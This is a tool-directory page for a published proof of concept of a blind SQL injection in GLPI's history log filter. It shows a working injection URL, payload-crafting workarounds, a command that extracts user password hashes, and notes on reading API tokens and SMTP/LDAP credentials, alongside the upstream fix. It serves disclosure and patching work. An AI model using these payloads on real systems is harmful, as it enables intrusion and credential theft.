Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
glpi-logbleed — PoC for CVE-2026-53629, blind SQL injection in the GLPI history log filter | Kitploit
Tools/GitHubGitHub/5kr1pt/glpi-logbleed
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHub5kr1pt/glpi-logbleed

glpi-logbleed

PoC for CVE-2026-53629, blind SQL injection in the GLPI history log filter

View Repository
121 month agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

glpi-logbleed

glpi-logbleed running

Blind SQL injection in the GLPI history log filter. CVE-2026-53629, fixed in 11.0.8 and 10.0.26, broken since 9.4.0.

Needs any account with the logs READ right. The stock Read-Only profile has it.

Advisory: GHSA-cpcj-x335-5cmh Write-up: how I found it

The bug

Log::convertFiltersValuesToSqlCriteria() splits the affected_fields filter into key:operator:values. The patch for CVE-2026-29047 validated the operator and cast the array index, and left $key alone.

DBmysqlIterator::analyseCrit() does not quote OR, and as column names. It recurses into their values, and that recursion ends on a deprecated branch that hands plain strings back as raw SQL.

AND
NOT

So OR as the key drops whatever you want into the WHERE clause:

root@kitploit:~
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
root@kitploit:~
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))

The history tab does the same through filters[affected_fields][0].

Payload constraints

explode(',', $values) breaks anything with a comma, so SUBSTRING(s,1,1) and IF(a,b,c) are out. CASE WHEN ... THEN ... ELSE ... END and MID(s FROM n FOR 1) do the job. Hex literals instead of quotes, 0x676c7069 is glpi.

The payload runs once per row in glpi_logs, so the sleep multiplies. Six rows with sleep(5) is 30 seconds. On a real instance drop it to 0.1 or the request never comes back.

Run it

root@kitploit:~
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly

Reads glpi_users.password one character at a time by binary search. --id for another user, --sleep and --threshold for slower targets.

Same trick reads api_token, personal_token and the SMTP and LDAP credentials in glpi_configs.

Fix

Upgrade. If you cannot, drop the logs READ right from the profiles that do not need it. Upstream allowlisted the key:

root@kitploit:~
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
    continue;
}

Published after the fix was out. Do not run it on things that are not yours.

Download Tool